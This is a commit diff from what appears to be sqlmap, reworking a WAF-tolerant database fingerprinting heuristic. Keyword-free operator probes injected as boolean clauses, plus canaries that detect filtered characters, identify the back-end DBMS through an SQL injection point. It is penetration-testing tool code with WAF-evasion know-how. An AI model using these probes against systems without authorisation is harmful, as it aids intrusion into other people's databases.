Improving dialect checks

This commit is contained in:
Miroslav Štampar
2026-07-17 14:46:52 +02:00
parent b38eb79ed0
commit 76b75e95f0
5 changed files with 269 additions and 179 deletions
+109 -87
View File
@@ -12,109 +12,126 @@ from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import DBMS
from lib.core.settings import SINGLE_QUOTE_MARKER
from lib.request.inject import checkBooleanExpression
# Operator-dialect probes for a keyword-free back-end DBMS heuristic.
#
# Each probe is an arithmetic identity that holds only in the dialect(s) noted, using operator
# *semantics* alone - no SQL keywords, functions, quotes or schema names. It complements
# heuristicCheckDbms() (which uses (SELECT 'x')='x' string round-trips): the dialect probes carry
# no SELECT/quote, so they can narrow the back-end DBMS where those are dropped (e.g. a
# keyword-matching WAF/IPS, or when kb.droppingRequests has it skipped entirely).
#
# Each probe is evaluated through checkBooleanExpression(), i.e. as an appended boolean
# (... AND (<probe>)), which yields a clean true/false from the comparison oracle. (A value-position
# variant - replacing the value with id=2^0 etc. - was prototyped and rejected: those probes land on
# OTHER valid rows, which sqlmap's fuzzy page comparison conflates with the anchor row, producing
# false positives. See PROVE_DESIGN.md.)
#
# Signatures were measured against every SQL engine on a live OWASP-CRS platform (MySQL/MySQL5,
# MariaDB/TiDB, PostgreSQL, CockroachDB, CrateDB, Microsoft SQL Server, SQLite, Firebird, ClickHouse,
# H2, HSQLDB, Derby, MonetDB, IRIS, Trino) and encoded as an exact-signature WHITELIST in _classify()
# (only measured signatures classify; anything else -> None). With anchor value 2:
#
# * 2^0=2 -> '^' is bitwise XOR (MySQL/MSSQL/MonetDB: 2^0=2) vs exponentiation (PostgreSQL: 2^0=1)
# vs no such operator (SQLite/Oracle/... -> error, so false)
# * 2^3=8 -> '^' is exponentiation (PostgreSQL/CockroachDB/CrateDB: 2^3=8) - false for XOR dialects
# (2^3=1) and erroring dialects; a positive PostgreSQL-family marker. CAVEAT:
# '^'=exponentiation is not strictly unique to PostgreSQL - MS Access/Jet and DuckDB
# also use it (neither on the platform), so this can read as PostgreSQL there.
# * 5/2=2 -> integer division (PostgreSQL/MSSQL/SQLite/MonetDB) vs real division (MySQL/Oracle: 2.5)
# * 2|0=2 -> a bitwise OR operator exists (absent in Firebird/Oracle/ClickHouse/H2)
# * 1<<2=4 -> a bit-shift operator exists. MonetDB shares MSSQL's (xor, intdiv) = (True, True)
# signature exactly, which would misread MonetDB as SQL Server; MonetDB HAS '<<' while
# SQL Server has NO shift operator (any version) -> this probe splits that one collision.
# Operator/typing-dialect probes for a WAF-tolerant back-end DBMS heuristic, complementing
# heuristicCheckDbms() for when a WAF/IPS drops its SELECT/quote payloads. Each probe is fed to
# checkBooleanExpression() (appended as ... AND (<probe>)); all but catplus use only non-alphanumeric
# operators (WAF-friendly). Minimal set giving a collision-free signature to the classes below.
DIALECT_PROBES = (
("xor", "2^0=2"),
("pgpow", "2^3=8"),
("intdiv", "5/2=2"),
("bitor", "2|0=2"),
("shift", "1<<2=4"),
("pow", "2^3=8"), # '^' is exponentiation
("intdiv", "5/2=2"), # integer division
("mod", "5%2=1"), # '%' modulo operator
("bitor", "2|0=2"), # '|' bitwise-OR operator
("xeq", "1^=2"), # '^=' not-equal operator
("bslash", "5\\2=2"), # '\' integer division
("catplus", "%sa%s+%sb%s=%sab%s" % ((SINGLE_QUOTE_MARKER,) * 6)), # '+' concatenates strings
("numcat", "1||1=11"), # '||' concatenates with numeric coercion
)
# Canary for the trustworthiness gate: a syntactically-invalid expression (a trailing operator) that
# a real SQL back-end can only read as FALSE - the appended clause is a parse error, the query fails,
# no row. A false-positive / noise channel (a WAF, a reflection, or a backend that ignores the
# injected tail and reads every probe the same) reads it as TRUE, which is proof the boolean oracle
# is trash, so the heuristic returns None (a true negative) rather than a bogus DBMS from a
# meaningless signature. It uses a trailing-operator form, distinct from the '<n> <m>' no-operator
# form already exercised by sqlmap's earlier false-positive check, so it adds new information.
# Trust gate: a syntactically-invalid trailing-operator expression a real back-end can only read as
# FALSE. A noise/false-positive channel reads it TRUE, proving the oracle is untrustworthy -> None.
DIALECT_CANARY = "2+"
# Exact operator-dialect signature -> back-end DBMS. Strict WHITELIST re-derived from the live
# measurement above: ONLY these signatures classify; any other - an engine not measured here, or a
# false-positive / noise channel - returns None. This deliberately replaces earlier partial-condition
# rules, which would confidently mis-map physically-impossible signatures onto a DBMS (e.g. the
# all-true 'reads everything as true' noise, where '^' would be XOR and exponentiation at once).
# Reachability canaries for adversarial WAFs that selectively drop operator characters. A dropped probe
# reads FALSE, indistinguishable from a semantic FALSE, silently degrading the signature. Each canary
# embeds probe characters inside a string literal (semantically inert), so it is universally TRUE unless
# the WAF filters a character. The combined form is a fast path; on failure the per-char forms (via
# _reachCanary) locate the blocked bits, which _classify() then treats as unknown/wildcard.
_DIALECT_REACH_CHARS = (("^", (0, 4)), ("/", (1,)), ("%", (2,)), ("|", (3, 7)), ("\\", (5,)), ("+", (6,)))
_DIALECT_REACH_BODY = "a^b/c%d|e\\f+g"
DIALECT_REACH_CANARY = "%s%s%s=%s%s%s" % (SINGLE_QUOTE_MARKER, _DIALECT_REACH_BODY, SINGLE_QUOTE_MARKER, SINGLE_QUOTE_MARKER, _DIALECT_REACH_BODY, SINGLE_QUOTE_MARKER)
# Exact operator-dialect signature -> back-end DBMS (strict whitelist). Any signature not listed - an
# unmeasured engine/version or a noise channel - returns None, so the heuristic never wrong-foots a scan.
# All rows are live-measured except Spanner (documentation-derived, tagged inline).
_SIGNATURE_DBMS = {
# xor pgpow intdiv bitor shift
(True, False, False, True, True): DBMS.MYSQL, # MySQL / MariaDB / TiDB
(False, True, True, True, True): DBMS.PGSQL, # PostgreSQL
(False, True, False, True, True): DBMS.PGSQL, # CockroachDB (pgwire; has '<<' -> shift True)
(False, True, True, True, False): DBMS.PGSQL, # CrateDB
(True, False, True, True, False): DBMS.MSSQL, # Microsoft SQL Server (no bit-shift)
(True, False, True, True, True): DBMS.MONETDB, # MonetDB (as MSSQL but has '<<')
(False, False, True, True, True): DBMS.SQLITE, # SQLite
# pow intdiv mod bitor xeq bslash catplus numcat
(False, False, False, False, False, False, False, True): DBMS.INFORMIX, # Informix
(False, False, False, False, False, True, False, True): DBMS.CACHE, # InterSystems IRIS/Cache ('\' int-div)
(False, False, False, False, True, False, False, True): DBMS.ORACLE, # Oracle ('^=' not-equal)
(False, False, False, True, False, False, False, False): DBMS.SPANNER, # Google Cloud Spanner (only '|' works) - doc-derived, not live-tested
(False, False, True, False, False, False, False, True): DBMS.CLICKHOUSE, # ClickHouse (no bitwise-OR)
(False, False, True, True, False, False, True, True): DBMS.MYSQL, # MySQL / MariaDB / TiDB
(False, True, False, False, False, False, False, False): DBMS.DERBY, # Apache Derby
(False, True, False, False, False, False, True, False): DBMS.HSQLDB, # HSQLDB ('+' concat)
(False, True, False, False, True, False, False, True): DBMS.FIREBIRD, # Firebird ('^=')
(False, True, True, False, False, False, False, False): DBMS.PRESTO, # Presto / Trino
(False, True, True, False, False, False, False, True): DBMS.H2, # H2
(False, True, True, True, False, False, False, False): DBMS.SQLITE, # SQLite
(False, True, True, True, False, False, False, True): DBMS.MONETDB, # MonetDB
(False, True, True, True, False, False, True, False): DBMS.MSSQL, # Microsoft SQL Server (2019 AND 2022)
(False, True, True, True, False, False, True, True): DBMS.CUBRID, # CUBRID (like MonetDB but '+' concat)
(False, True, True, True, True, False, False, True): DBMS.DB2, # IBM DB2 ('^=', no '<<'/'\')
(True, False, False, False, False, True, True, False): DBMS.ACCESS, # Microsoft Access (ACE/JET: '^' exp + '\' int-div + '+' concat)
(True, False, True, True, False, False, False, False): DBMS.PGSQL, # PostgreSQL
(True, False, True, True, False, False, False, True): DBMS.VERTICA, # Vertica (pg-derived but numeric '||')
(True, False, True, True, True, False, False, True): DBMS.PGSQL, # openGauss (Oracle-compat '^=')
(True, True, True, True, False, False, False, False): DBMS.PGSQL, # PostgreSQL / CrateDB variant
(True, True, True, True, False, False, False, True): DBMS.PGSQL, # PostgreSQL variant
}
def _classify(signature):
def _classify(signature, unknown=()):
"""
Maps an exact operator-dialect signature (xor, pgpow, intdiv, bitor, shift) to a back-end DBMS
through a strict whitelist of live-measured signatures, or returns None when the signature is not
a known DBMS fingerprint - an engine not measured, or a noise / false-positive channel - so
detection proceeds unchanged and the heuristic never wrong-foots the scan.
Maps an exact 8-bit operator/typing signature to a back-end DBMS via the strict whitelist, or None
when the signature is not a known fingerprint (unmeasured engine, or a noise/false-positive channel).
>>> _classify((True, False, False, True, True)) # MySQL / MariaDB / TiDB
'unknown' holds bit indices whose probe character a WAF is dropping (so their FALSE is meaningless);
they are treated as wildcards and a DBMS is named only when the remaining trusted bits are unanimous,
which cannot misclassify (the true signature is always among the candidates).
>>> _classify((False, False, True, True, False, False, True, True), unknown={2}) # MySQL, mod blocked -> still unique
'MySQL'
>>> _classify((False, True, True, True, True)) # PostgreSQL
'PostgreSQL'
>>> _classify((False, True, False, True, True)) # CockroachDB -> PostgreSQL family
'PostgreSQL'
>>> _classify((False, True, True, True, False)) # CrateDB -> PostgreSQL family
'PostgreSQL'
>>> _classify((True, False, True, True, False)) # Microsoft SQL Server (no bit-shift)
>>> _classify((False, True, True, False, False, False, False, True), unknown={7}) is None # H2 vs Presto ambiguous -> None
True
>>> _classify((False, False, True, True, False, False, True, True)) # MySQL / MariaDB / TiDB
'MySQL'
>>> _classify((False, True, True, True, False, False, True, False)) # Microsoft SQL Server (2019 and 2022)
'Microsoft SQL Server'
>>> _classify((True, False, True, True, True)) # MonetDB (as MSSQL but has '<<')
>>> _classify((False, True, True, True, False, False, False, True)) # MonetDB
'MonetDB'
>>> _classify((False, False, True, True, True)) # SQLite
>>> _classify((True, True, True, True, False, False, False, False)) # PostgreSQL / CrateDB
'PostgreSQL'
>>> _classify((False, True, True, True, False, False, False, False)) # SQLite
'SQLite'
>>> _classify((True, True, True, True, True)) is None # 'reads everything true' noise -> None
True
>>> _classify((False, False, False, False, False)) is None # all-false (Oracle/ClickHouse/IRIS/blocked) -> None
True
>>> _classify((False, False, True, False, False)) is None # Firebird/H2/HSQLDB/Derby/Trino -> not distinctive
>>> _classify((False, False, True, False, False, False, False, True)) # ClickHouse
'ClickHouse'
>>> _classify((False, False, False, False, True, False, False, True)) # Oracle ('^=')
'Oracle'
>>> _classify((False, False, False, False, False, True, False, True)) # InterSystems IRIS/Cache (Oracle but no '^=')
'InterSystems Cache'
>>> _classify((False, True, False, False, True, False, False, True)) # Firebird
'Firebird'
>>> _classify((False, True, False, False, False, False, False, False)) # Apache Derby
'Apache Derby'
>>> _classify((True, False, False, False, False, True, True, False)) # Microsoft Access ('^' exp + '\' int-div)
'Microsoft Access'
>>> _classify((False, False, False, True, False, False, False, False)) # Google Cloud Spanner (doc-derived: only '|' bitwise-OR)
'Spanner'
>>> _classify((True, True, True, True, True, True, True, True)) is None # unmeasured / noise -> None
True
"""
return _SIGNATURE_DBMS.get(tuple(bool(_) for _ in signature))
signature = tuple(bool(_) for _ in signature)
if not unknown:
return _SIGNATURE_DBMS.get(signature)
unknown = set(unknown)
candidates = set(dbms for sig, dbms in _SIGNATURE_DBMS.items() if all(sig[i] == signature[i] for i in range(len(signature)) if i not in unknown))
return next(iter(candidates)) if len(candidates) == 1 else None
def _reachCanary(char):
lit = "%sx%sx%s" % (SINGLE_QUOTE_MARKER, char, SINGLE_QUOTE_MARKER)
return "%s=%s" % (lit, lit)
def dialectCheckDbms(injection):
"""
Keyword-free back-end DBMS heuristic via operator-dialect differentials, evaluated through the
given (boolean-capable) injection. Complements heuristicCheckDbms() - which is skipped when the
WAF/IPS is dropping requests and otherwise relies on SELECT/quote payloads - because every probe
here is built from operator semantics alone. Returns the DBMS name or None; an ambiguous,
WAF-blocked or false-positive channel yields None, leaving the scan unchanged.
Keyword-free back-end DBMS heuristic via operator-dialect differentials, evaluated through the given
(boolean-capable) injection. Complements heuristicCheckDbms() (whose SELECT/quote payloads a WAF/IPS
may drop). Returns the DBMS name, or None for an ambiguous, WAF-blocked or false-positive channel.
"""
retVal = None
@@ -126,14 +143,19 @@ def dialectCheckDbms(injection):
kb.injection = injection
try:
# Trustworthiness gate: a real boolean oracle reads a tautology TRUE, a contradiction FALSE,
# and a syntactically-invalid canary FALSE (the appended clause is a parse error -> the query
# fails). A false-positive / noise channel reads them all alike - the canary as TRUE - which
# is proof the oracle is trash, so classification is skipped (a true negative) instead of
# emitting a bogus DBMS from a meaningless signature.
# trust gate: a real oracle reads the tautology TRUE, the contradiction FALSE, the invalid
# canary FALSE. A noise channel reads them alike (canary TRUE) -> skip rather than guess.
if checkBooleanExpression("2=2") and not checkBooleanExpression("2=3") and not checkBooleanExpression(DIALECT_CANARY):
signature = tuple(bool(checkBooleanExpression(expr)) for _, expr in DIALECT_PROBES)
retVal = _classify(signature)
# detect WAF-dropped probe characters (a dropped probe reads FALSE); mark their bits unknown
unknown = set()
if not checkBooleanExpression(DIALECT_REACH_CANARY):
for char, bits in _DIALECT_REACH_CHARS:
if not checkBooleanExpression(_reachCanary(char)):
unknown.update(bits)
retVal = _classify(signature, unknown)
finally:
kb.injection = popValue()